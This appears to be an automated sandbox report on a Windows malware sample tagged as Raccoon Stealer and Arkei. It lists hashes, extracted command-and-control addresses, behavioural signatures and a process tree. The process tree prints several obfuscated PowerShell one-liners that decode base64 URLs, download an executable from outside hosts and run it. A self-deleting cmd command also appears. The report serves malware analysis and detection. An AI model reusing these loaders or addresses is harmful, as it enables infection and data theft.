Analysis
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max time kernel
60s -
max time network
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platform
windows7_x64 -
resource
win7-20220715-en -
resource tags
arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system -
submitted
02-08-2022 18:28
Behavioral task
behavioral1
Sample
6F91871F4FB08CA2553A80A053D983D39FABF1EFC619B.exe
Resource
win7-20220715-en
Behavioral task
behavioral2
Sample
6F91871F4FB08CA2553A80A053D983D39FABF1EFC619B.exe
Resource
win10v2004-20220721-en
General
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Target
6F91871F4FB08CA2553A80A053D983D39FABF1EFC619B.exe
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Size
26KB
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MD5
268b65efa4ac17d70eacac229fe8500e
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SHA1
36ad089001c90b717bf0e596c086a1fa2c383159
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SHA256
6f91871f4fb08ca2553a80a053d983d39fabf1efc619b2e4b87972bd0d9c0d80
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SHA512
8c33401547b55feeb7999c4fabbc2e2514816e59ad4dea5572e5af50708fc8773937378e04e5e3c13edfb18bfbdc98782a1db1de4d40b9d5bebcb237c1da9202
Malware Config
Extracted
http://bit.do/e7RiX
http://bit.do/e7RiX
Extracted
raccoon
8a4fd4b44997ba634230ba5c422ca9f2
http://193.106.191.146/
http://185.215.113.89/
Extracted
arkei
Default
Signatures
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Raccoon Stealer payload 9 IoCs
resource yara_rule behavioral1/memory/1616-154-0x0000000000400000-0x0000000000411000-memory.dmp family_raccoon behavioral1/memory/1616-159-0x0000000000400000-0x0000000000411000-memory.dmp family_raccoon behavioral1/memory/1616-180-0x0000000000406BEA-mapping.dmp family_raccoon behavioral1/memory/1616-187-0x0000000000400000-0x0000000000411000-memory.dmp family_raccoon behavioral1/memory/1056-184-0x0000000000406BEA-mapping.dmp family_raccoon behavioral1/memory/1908-183-0x0000000000406BEA-mapping.dmp family_raccoon behavioral1/memory/1616-175-0x0000000000400000-0x0000000000411000-memory.dmp family_raccoon behavioral1/memory/1616-197-0x0000000000400000-0x0000000000411000-memory.dmp family_raccoon behavioral1/memory/1908-236-0x0000000000400000-0x0000000000411000-memory.dmp family_raccoon -
Blocklisted process makes network request 6 IoCs
flow pid Process 12 1532 powershell.exe 13 764 powershell.exe 14 1464 powershell.exe 15 1824 powershell.exe 18 1824 powershell.exe 19 1532 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 5 IoCs
pid Process 1128 amp.exe 936 amp.exe 1964 amp.exe 1804 amp.exe 764 amp.exe -
resource yara_rule behavioral1/memory/1364-58-0x0000000000400000-0x0000000000422000-memory.dmp upx -
Loads dropped DLL 2 IoCs
pid Process 1464 powershell.exe 764 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Delays execution with timeout.exe 3 IoCs
pid Process 1976 timeout.exe 1028 timeout.exe 764 timeout.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-335065374-4263250628-1829373619-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-335065374-4263250628-1829373619-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-335065374-4263250628-1829373619-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-335065374-4263250628-1829373619-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 1824 powershell.exe 764 powershell.exe 1464 powershell.exe 1532 powershell.exe 2032 powershell.exe 1464 powershell.exe 1464 powershell.exe 764 powershell.exe 764 powershell.exe 1532 powershell.exe 1532 powershell.exe 1824 powershell.exe 1824 powershell.exe 2032 powershell.exe 2032 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 1824 powershell.exe Token: SeDebugPrivilege 764 powershell.exe Token: SeDebugPrivilege 1464 powershell.exe Token: SeDebugPrivilege 1532 powershell.exe Token: SeDebugPrivilege 2032 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1364 wrote to memory of 884 1364 6F91871F4FB08CA2553A80A053D983D39FABF1EFC619B.exe 26 PID 1364 wrote to memory of 884 1364 6F91871F4FB08CA2553A80A053D983D39FABF1EFC619B.exe 26 PID 1364 wrote to memory of 884 1364 6F91871F4FB08CA2553A80A053D983D39FABF1EFC619B.exe 26 PID 1364 wrote to memory of 884 1364 6F91871F4FB08CA2553A80A053D983D39FABF1EFC619B.exe 26 PID 884 wrote to memory of 1076 884 cmd.exe 28 PID 884 wrote to memory of 1076 884 cmd.exe 28 PID 884 wrote to memory of 1076 884 cmd.exe 28 PID 884 wrote to memory of 1076 884 cmd.exe 28 PID 884 wrote to memory of 900 884 cmd.exe 29 PID 884 wrote to memory of 900 884 cmd.exe 29 PID 884 wrote to memory of 900 884 cmd.exe 29 PID 884 wrote to memory of 900 884 cmd.exe 29 PID 884 wrote to memory of 1976 884 cmd.exe 30 PID 884 wrote to memory of 1976 884 cmd.exe 30 PID 884 wrote to memory of 1976 884 cmd.exe 30 PID 884 wrote to memory of 1976 884 cmd.exe 30 PID 900 wrote to memory of 1464 900 mshta.exe 32 PID 900 wrote to memory of 1464 900 mshta.exe 32 PID 900 wrote to memory of 1464 900 mshta.exe 32 PID 900 wrote to memory of 1464 900 mshta.exe 32 PID 1076 wrote to memory of 1824 1076 mshta.exe 31 PID 1076 wrote to memory of 1824 1076 mshta.exe 31 PID 1076 wrote to memory of 1824 1076 mshta.exe 31 PID 1076 wrote to memory of 1824 1076 mshta.exe 31 PID 884 wrote to memory of 992 884 cmd.exe 35 PID 884 wrote to memory of 992 884 cmd.exe 35 PID 884 wrote to memory of 992 884 cmd.exe 35 PID 884 wrote to memory of 992 884 cmd.exe 35 PID 884 wrote to memory of 1508 884 cmd.exe 36 PID 884 wrote to memory of 1508 884 cmd.exe 36 PID 884 wrote to memory of 1508 884 cmd.exe 36 PID 884 wrote to memory of 1508 884 cmd.exe 36 PID 992 wrote to memory of 764 992 mshta.exe 38 PID 992 wrote to memory of 764 992 mshta.exe 38 PID 992 wrote to memory of 764 992 mshta.exe 38 PID 992 wrote to memory of 764 992 mshta.exe 38 PID 884 wrote to memory of 1028 884 cmd.exe 37 PID 884 wrote to memory of 1028 884 cmd.exe 37 PID 884 wrote to memory of 1028 884 cmd.exe 37 PID 884 wrote to memory of 1028 884 cmd.exe 37 PID 884 wrote to memory of 628 884 cmd.exe 40 PID 884 wrote to memory of 628 884 cmd.exe 40 PID 884 wrote to memory of 628 884 cmd.exe 40 PID 884 wrote to memory of 628 884 cmd.exe 40 PID 884 wrote to memory of 1424 884 cmd.exe 41 PID 884 wrote to memory of 1424 884 cmd.exe 41 PID 884 wrote to memory of 1424 884 cmd.exe 41 PID 884 wrote to memory of 1424 884 cmd.exe 41 PID 628 wrote to memory of 1532 628 mshta.exe 42 PID 628 wrote to memory of 1532 628 mshta.exe 42 PID 628 wrote to memory of 1532 628 mshta.exe 42 PID 628 wrote to memory of 1532 628 mshta.exe 42 PID 1424 wrote to memory of 2032 1424 mshta.exe 44 PID 1424 wrote to memory of 2032 1424 mshta.exe 44 PID 1424 wrote to memory of 2032 1424 mshta.exe 44 PID 1424 wrote to memory of 2032 1424 mshta.exe 44 PID 1464 wrote to memory of 936 1464 powershell.exe 47 PID 1464 wrote to memory of 936 1464 powershell.exe 47 PID 1464 wrote to memory of 936 1464 powershell.exe 47 PID 1464 wrote to memory of 936 1464 powershell.exe 47 PID 764 wrote to memory of 1128 764 powershell.exe 46 PID 764 wrote to memory of 1128 764 powershell.exe 46 PID 764 wrote to memory of 1128 764 powershell.exe 46 PID 764 wrote to memory of 1128 764 powershell.exe 46
Processes
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C:\Users\Admin\AppData\Local\Temp\6F91871F4FB08CA2553A80A053D983D39FABF1EFC619B.exe"C:\Users\Admin\AppData\Local\Temp\6F91871F4FB08CA2553A80A053D983D39FABF1EFC619B.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\4EAD.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\6F91871F4FB08CA2553A80A053D983D39FABF1EFC619B.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4EAD.tmp\m1.hta"3⤵
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL imhur $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;imhur pkzwjshtlmgd $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|pkzwjshtlmgd;imhur brvxmhkwft $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JpWA==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);brvxmhkwft $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1824 -
C:\Users\Public\amp.exe"C:\Users\Public\amp.exe"5⤵
- Executes dropped EXE
PID:1804 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe6⤵PID:1616
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C:\Users\Admin\AppData\Local\Temp\Mccegjkqnoydj.exe"C:\Users\Admin\AppData\Local\Temp\Mccegjkqnoydj.exe"6⤵PID:1296
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe7⤵PID:788
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe7⤵PID:1568
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4EAD.tmp\m1a.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL cfgtiyleoxj $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;cfgtiyleoxj rxjawksc $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rxjawksc;cfgtiyleoxj lkhxvdgpjitz $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL25pY29zbGFnLnJ1L2FzZGZnLmV4ZQ==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);lkhxvdgpjitz $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Users\Public\amp.exe"C:\Users\Public\amp.exe"5⤵
- Executes dropped EXE
PID:936
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C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
PID:1976
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4EAD.tmp\b1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:992 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL cfpdmyg $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;cfpdmyg pnuqyjbf $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|pnuqyjbf;cfpdmyg josedgvxy $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JqaQ==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);josedgvxy $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Users\Public\amp.exe"C:\Users\Public\amp.exe"5⤵
- Executes dropped EXE
PID:1128 -
C:\Users\Admin\AppData\Local\Temp\Mccegjkqnoydj.exe"C:\Users\Admin\AppData\Local\Temp\Mccegjkqnoydj.exe"6⤵PID:2032
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe7⤵PID:516
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" & exit8⤵PID:1584
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C:\Windows\SysWOW64\timeout.exetimeout /t 59⤵
- Delays execution with timeout.exe
PID:764
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe6⤵PID:1056
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4EAD.tmp\b1a.hta"3⤵PID:1508
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C:\Windows\SysWOW64\timeout.exetimeout 23⤵
- Delays execution with timeout.exe
PID:1028
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4EAD.tmp\b2.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vqaznm $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vqaznm amvlntpxjbs $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|amvlntpxjbs;vqaznm gbxlmur $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JqeA==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);gbxlmur $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532 -
C:\Users\Public\amp.exe"C:\Users\Public\amp.exe"5⤵
- Executes dropped EXE
PID:1964 -
C:\Users\Admin\AppData\Local\Temp\Mccegjkqnoydj.exe"C:\Users\Admin\AppData\Local\Temp\Mccegjkqnoydj.exe"6⤵PID:1796
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe6⤵PID:1144
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4EAD.tmp\b2a.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL xutrghv $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;xutrghv hjlgdycxt $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|hjlgdycxt;xutrghv gbljpredwuxzv $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JyYXRpb3AucnUvYXNkZmcuZXhl';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);gbljpredwuxzv $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032 -
C:\Users\Public\amp.exe"C:\Users\Public\amp.exe"5⤵
- Executes dropped EXE
PID:764 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe6⤵PID:1908
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
11KB
MD5d4aea3933a604f7dc3f9608929ef07b6
SHA195de25c9656d1503b30726760dc6764fa298461e
SHA2569439c1e812b86678969732dd29d9a5c0d271db87005df6b36b79aab7556610e2
SHA51261a1ba9e1d624a00585af95923641145c0fc1a56fac3de3094f8c1a3b7dee37b14088086cce2c78d154e23848d698a68145b44b3086221952ab65bddfc54c038
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Filesize
11KB
MD5b8be7ddadc6d5361e90c28b4739274ac
SHA1a225cf279c6cb7710141aeb3e0a29ad4c19e71e4
SHA256152d6a623e294608e0fcfb331f0fd4e5eabd8d4b70673004d4ac33156add121c
SHA512b4e0b038b7eb43838d7d7d2aad7acc9ee444ac913aa345103efb097c0b41fb70a6aff64e89e75925c4caa2f55d039b1c8121dcb0f540336f7bc6a93746bf9230
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Filesize
11KB
MD5611851be5c9d72fba0536042853b6b10
SHA1b0ec6e71573902ca1e3fd17bc6fac96d5f232700
SHA256a4965af6feb2c0f3d8c7f81808b77b10bfbb396bcc63fc430f8606b8cf14f24f
SHA512db597666d50850628e17b2c91102b0d45ed613dfa62f3472e6c0e3fec51758347f7327958177a8ba85adc32ca7be7e7c92d7036999270cc84bba1cfcb93b7b33
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Filesize
11KB
MD51a98a8caf12608427d1b239c053a41fe
SHA1870e04c385b65d5ba02637f99d12129b76ebae3b
SHA256a9de29fa03e6b7a0d307e495a30bcc181064e67ba4c62b00eecbddcf11034002
SHA512fb967e221882bb9dafec3d651a8031e4f53aed3231b76559a4c50292840fc8bfc496e75baf0f810d93694dbb94ef2cbd85f11cd774d075ab36846d85b4e70c0a
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Filesize
11KB
MD5b89401d49ae639b07b31c8fb3a2b6660
SHA150e59ce06aa2bf94a11f64afef20961e76c9d426
SHA25648382eae4aa1e069d09c4a5d25d22e9027b16b65a48911bfc0c8f1f23b1de4a2
SHA512e03a5521a2ecba8d4063d5406d253139540958d510147f962180ad8333175837a8453bb3b69316bb7a8abe66670b42ef9567260f549cbbc2ebb293d2050188b8
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Filesize
11KB
MD5fd6a9f7c9cf2d58ef8935fa062eab5bf
SHA1a3a03ce457d6820e4344abcbf90330c29aa8ab85
SHA25683c6b29a8be68fa9c0cc88fec453da1c23a456bf330b2cfdff1968da576ec727
SHA512f7598f335765d2e7ac08696e3db18261f8c8a7d901fad4c17839f8b5f1fca38ef38aa653971ddabfa95e9c5b446c4511e0716c0a636e427cb5fbb7eb349b7760
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Filesize
152B
MD5e57355079adb8a7e6a12c715d903bb0e
SHA1c91b8e7418cca569a21c23235ee0e9f3fabd5bc5
SHA256c5e6918b630712035a38f8dfc73645659d68504cc268b1a27db8bd81afe80457
SHA5125a3992dd2cfe2ae9a1df92699759900d8d339139b0f41a46b19158397a20ff8fbd45aebd6bdd65651b1c02cf75d578be99128b90ecde4e90c7bb2c6a38cf438c
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Filesize
341KB
MD5e96634c20057c1643a303d6266321035
SHA15f074a2f48911fa04995ab2bad95f6e66f228ebe
SHA25658ca86e49e4dea36ec81072c6e63fb8d6b465447d3c1fc1443d15e897c13d27c
SHA5120d927b650ef8029636681a4ba16637bda30336756586038818c0b75c2fddba0d83b6e4a51ece8a8c05a4deb13dc93e5bd23ae36024349a901c27909144725ebb
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Filesize
341KB
MD5e96634c20057c1643a303d6266321035
SHA15f074a2f48911fa04995ab2bad95f6e66f228ebe
SHA25658ca86e49e4dea36ec81072c6e63fb8d6b465447d3c1fc1443d15e897c13d27c
SHA5120d927b650ef8029636681a4ba16637bda30336756586038818c0b75c2fddba0d83b6e4a51ece8a8c05a4deb13dc93e5bd23ae36024349a901c27909144725ebb
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Filesize
341KB
MD5e96634c20057c1643a303d6266321035
SHA15f074a2f48911fa04995ab2bad95f6e66f228ebe
SHA25658ca86e49e4dea36ec81072c6e63fb8d6b465447d3c1fc1443d15e897c13d27c
SHA5120d927b650ef8029636681a4ba16637bda30336756586038818c0b75c2fddba0d83b6e4a51ece8a8c05a4deb13dc93e5bd23ae36024349a901c27909144725ebb
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Filesize
341KB
MD5e96634c20057c1643a303d6266321035
SHA15f074a2f48911fa04995ab2bad95f6e66f228ebe
SHA25658ca86e49e4dea36ec81072c6e63fb8d6b465447d3c1fc1443d15e897c13d27c
SHA5120d927b650ef8029636681a4ba16637bda30336756586038818c0b75c2fddba0d83b6e4a51ece8a8c05a4deb13dc93e5bd23ae36024349a901c27909144725ebb
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Filesize
341KB
MD5e96634c20057c1643a303d6266321035
SHA15f074a2f48911fa04995ab2bad95f6e66f228ebe
SHA25658ca86e49e4dea36ec81072c6e63fb8d6b465447d3c1fc1443d15e897c13d27c
SHA5120d927b650ef8029636681a4ba16637bda30336756586038818c0b75c2fddba0d83b6e4a51ece8a8c05a4deb13dc93e5bd23ae36024349a901c27909144725ebb
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Filesize
341KB
MD5e96634c20057c1643a303d6266321035
SHA15f074a2f48911fa04995ab2bad95f6e66f228ebe
SHA25658ca86e49e4dea36ec81072c6e63fb8d6b465447d3c1fc1443d15e897c13d27c
SHA5120d927b650ef8029636681a4ba16637bda30336756586038818c0b75c2fddba0d83b6e4a51ece8a8c05a4deb13dc93e5bd23ae36024349a901c27909144725ebb
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD567c23d11a970e755f8003faaf5dab387
SHA17635bc59b60d7d6938411dadc1bb34a3de39ad98
SHA256f94ec0f2ccb949cca5dcd1ed82f66ac519f9a52388544f8aeefbc3738e1636cb
SHA512a2308be9d5313eb423d016d60866bb8a29adfa61845ad195a002b25e2bfbdd95e5aedcb49ebab751d3e463f4047ca66e57a1ae35383b6f21e6f6570ba7de9d7e
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD567c23d11a970e755f8003faaf5dab387
SHA17635bc59b60d7d6938411dadc1bb34a3de39ad98
SHA256f94ec0f2ccb949cca5dcd1ed82f66ac519f9a52388544f8aeefbc3738e1636cb
SHA512a2308be9d5313eb423d016d60866bb8a29adfa61845ad195a002b25e2bfbdd95e5aedcb49ebab751d3e463f4047ca66e57a1ae35383b6f21e6f6570ba7de9d7e
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD567c23d11a970e755f8003faaf5dab387
SHA17635bc59b60d7d6938411dadc1bb34a3de39ad98
SHA256f94ec0f2ccb949cca5dcd1ed82f66ac519f9a52388544f8aeefbc3738e1636cb
SHA512a2308be9d5313eb423d016d60866bb8a29adfa61845ad195a002b25e2bfbdd95e5aedcb49ebab751d3e463f4047ca66e57a1ae35383b6f21e6f6570ba7de9d7e
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD567c23d11a970e755f8003faaf5dab387
SHA17635bc59b60d7d6938411dadc1bb34a3de39ad98
SHA256f94ec0f2ccb949cca5dcd1ed82f66ac519f9a52388544f8aeefbc3738e1636cb
SHA512a2308be9d5313eb423d016d60866bb8a29adfa61845ad195a002b25e2bfbdd95e5aedcb49ebab751d3e463f4047ca66e57a1ae35383b6f21e6f6570ba7de9d7e
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Filesize
586KB
MD5131a32033cf88976a8df48361b90207d
SHA1ce260393460fa5d4cbfa17d3329fd33594810add
SHA256d75d7b0534ff648f16f5751be79a2c23158b6412a780180aec78c77c7e95071d
